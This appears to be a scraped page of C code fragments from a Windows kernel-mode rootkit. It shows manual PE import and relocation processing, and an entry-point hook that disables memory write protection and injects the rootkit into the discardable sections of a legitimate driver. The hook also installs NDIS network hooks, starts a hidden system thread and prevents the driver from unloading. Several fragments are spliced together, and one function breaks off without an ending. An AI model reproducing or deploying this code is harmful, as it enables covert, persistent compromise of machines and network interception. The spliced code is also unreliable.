        AreaLength, AreaRVA
    );

    // check if our driver can be stored in the found space
    if (AreaLength >= m_RequiredSize &&
        pHeaders->OptionalHeader.AddressOfEntryPoint)
    {
        *FreeAreaRVA = AreaRVA;
        *FreeAreaLength = AreaLength;

        pSection = (PIMAGE_SECTION_HEADER)
            (pHeaders->FileHeader.SizeOfOptionalHeader + 
            (PUCHAR)&pHeaders->OptionalHeader);

        // erase discardable flag
        for (ULONG i = 0; i < pHeaders->FileHeader.NumberOfSections; i++)
        {
            pSection->Characteristics &= ~IMAGE_SCN_MEM_DISCARDABLE;
            pSection += 1;
        }
        
        return TRUE;
    }

    return FALSE;
}
Пример #20
0
//--------------------------------------------------------------------------------------
BOOLEAN RuntimeProcessImports(PVOID Image, char *ImportedModuleName, PVOID ImportedModuleBase)
{    
    PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32)
        ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

    PIMAGE_IMPORT_DESCRIPTOR pImport = NULL;

    if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386)
    {
        // 32-bit image
        if (pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
        {
            pImport = (PIMAGE_IMPORT_DESCRIPTOR)RVATOVA(Image,
                pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
        }
    }        
    else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
    {
        // 64-bit image
        PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64)
            ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

        if (pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
        {
            pImport = (PIMAGE_IMPORT_DESCRIPTOR)RVATOVA(Image,
                pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
        }
    }
    else
    {
        return FALSE;
    }

    if (pImport)
    {
        // enumerate import modules
        while (pImport->Name != 0)
        {
            char szName[MAX_IMAGE_NAME_LEN];
            my_strcpy(szName, (char *)RVATOVA(Image, pImport->Name));
            
            if (my_strcmp(my_strlwr(szName), ImportedModuleName))
            {
                // this routine can process only exports from the specified module
                goto skip_module;
            }

#ifdef _X86_
            
            // process thunk data for 32-bit pointers
            PIMAGE_THUNK_DATA32 pThunk = (PIMAGE_THUNK_DATA32)RVATOVA(Image, pImport->FirstThunk);

#elif _AMD64_ 

            // process thunk data for 64-bit pointers
            PIMAGE_THUNK_DATA64 pThunk = (PIMAGE_THUNK_DATA64)RVATOVA(Image, pImport->FirstThunk);
#endif
            // enumerate functions of the current module
            while (pThunk->u1.Ordinal != 0)
            {
                PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)RVATOVA(Image, pThunk->u1.AddressOfData);
                char *lpszFuncName = (char *)&pName->Name;
                
                PVOID FuncAddr = RuntimeGetExportAddress(ImportedModuleBase, lpszFuncName);
                if (FuncAddr == NULL)
                {
                    return FALSE;
                }

                *(PVOID *)pThunk = FuncAddr;
                pThunk += 1;
            }

skip_module:

            pImport += 1;
        }
    }    

    return TRUE;
}
Пример #21
0
//--------------------------------------------------------------------------------------
BOOLEAN RuntimeProcessRelocs(PVOID Image, PVOID NewBase)
{
    PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32)
        ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

    PIMAGE_BASE_RELOCATION pRelocation = NULL;
    ULONG RelocationSize = 0;        
    ULONGLONG OldBase = 0;

    if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386)
    {
        // 32-bit image
        if (pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
        {
            pRelocation = (PIMAGE_BASE_RELOCATION)RVATOVA(Image,
                pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
            RelocationSize = pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
        }

        OldBase = pHeaders32->OptionalHeader.ImageBase;
    }        
    else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
    {
        // 64-bit image
        PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64)
            ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

        if (pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
        {
            pRelocation = (PIMAGE_BASE_RELOCATION)RVATOVA(Image,
                pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
            RelocationSize = pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
        }

        OldBase = pHeaders64->OptionalHeader.ImageBase;
    }
    else
    {
        return FALSE;
    }

    if (pRelocation)
    {
        ULONG Size = 0;

        // enumerate relocation pages
        while (RelocationSize > Size && pRelocation->SizeOfBlock)
        {            
            ULONG Number = (pRelocation->SizeOfBlock - 8) / 2;
            PUSHORT Rel = (PUSHORT)((PUCHAR)pRelocation + 8);            

            // enumerate relocation offsets for the current page
            for (ULONG i = 0; i < Number; i++)
            {
                if (Rel[i] > 0)
                {
                    USHORT Type = (Rel[i] & 0xF000) >> 12;

                    // check for supporting type
                    if (Type != IMAGE_REL_BASED_HIGHLOW &&
                        Type != IMAGE_REL_BASED_DIR64)
                    {
                        return FALSE;
                    }
#ifdef _X86_
                    *(PULONG)(RVATOVA(Image, pRelocation->VirtualAddress + 
                        (Rel[i] & 0x0FFF))) += (ULONG)((ULONGLONG)NewBase - OldBase);
#elif _AMD64_
                    *(PULONGLONG)(RVATOVA(Image, pRelocation->VirtualAddress + 
                        (Rel[i] & 0x0FFF))) += (ULONGLONG)NewBase - OldBase;
#endif
                }
            }

            pRelocation = (PIMAGE_BASE_RELOCATION)((PUCHAR)pRelocation + pRelocation->SizeOfBlock);
            Size += pRelocation->SizeOfBlock;            
        }
    }
//--------------------------------------------------------------------------------------
NTSTATUS NewDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{    
    // disable memory write protection
    ClearWp();

    // restore original code from image entry point
    memcpy(m_HookedEntry, m_EpOriginalBytes, EP_PATCH_SIZE);

    // enable memory write protection
    SetWp();

    NTSTATUS ns = m_HookedEntry(DriverObject, RegistryPath);
    DbgMsg(__FUNCTION__"(): Hooked driver returns 0x%.8x\n", ns);    

    if (PsRemoveLoadImageNotifyRoutine(LoadImageNotify) == STATUS_SUCCESS)
    {
        m_bDriverMustBeFreed = TRUE;
    }

    if (NT_SUCCESS(ns))
    {
        PVOID Image = ExAllocatePool(NonPagedPool, m_DriverSize);
        if (Image)
        {
            // prepare rootkit code for injection into the discardable sections
            memcpy(Image, m_DriverBase, m_DriverSize);
            RuntimeProcessRelocs(Image, (PVOID)((PUCHAR)m_FreeAreaFound - m_RkOffset));

            // disable memory write protection
            ClearWp();

            memcpy(m_FreeAreaFound, RVATOVA(Image, m_RkOffset), m_RkSize);

            // enable memory write protection
            SetWp();

            PUCHAR PointerFixup = (PUCHAR)m_FreeAreaFound - m_RkOffset;

            // set up NDIS hooks
            DriverEntryInitializePayload(PointerFixup);

            PKSTART_ROUTINE Start = (PKSTART_ROUTINE)RECALCULATE_POINTER(DriverEntryContinueThread);

            DbgMsg(__FUNCTION__"(): Start address: "IFMT"\n", Start);

            // create thread for execution copied code
            HANDLE hThread = NULL;
            ns = PsCreateSystemThread(
                &hThread, 
                THREAD_ALL_ACCESS, 
                NULL, NULL, NULL, 
                Start, 
                m_bDriverMustBeFreed ? m_DriverBase : NULL
            );
            if (NT_SUCCESS(ns))
            {
                ZwClose(hThread);
            }
            else
            {
                DbgMsg("PsCreateSystemThread() fails: 0x%.8x\n", ns);
            }

            ExFreePool(Image);
        }

        // don't allow to unload target driver
        DriverObject->DriverUnload = NULL;
    }

    return ns;
}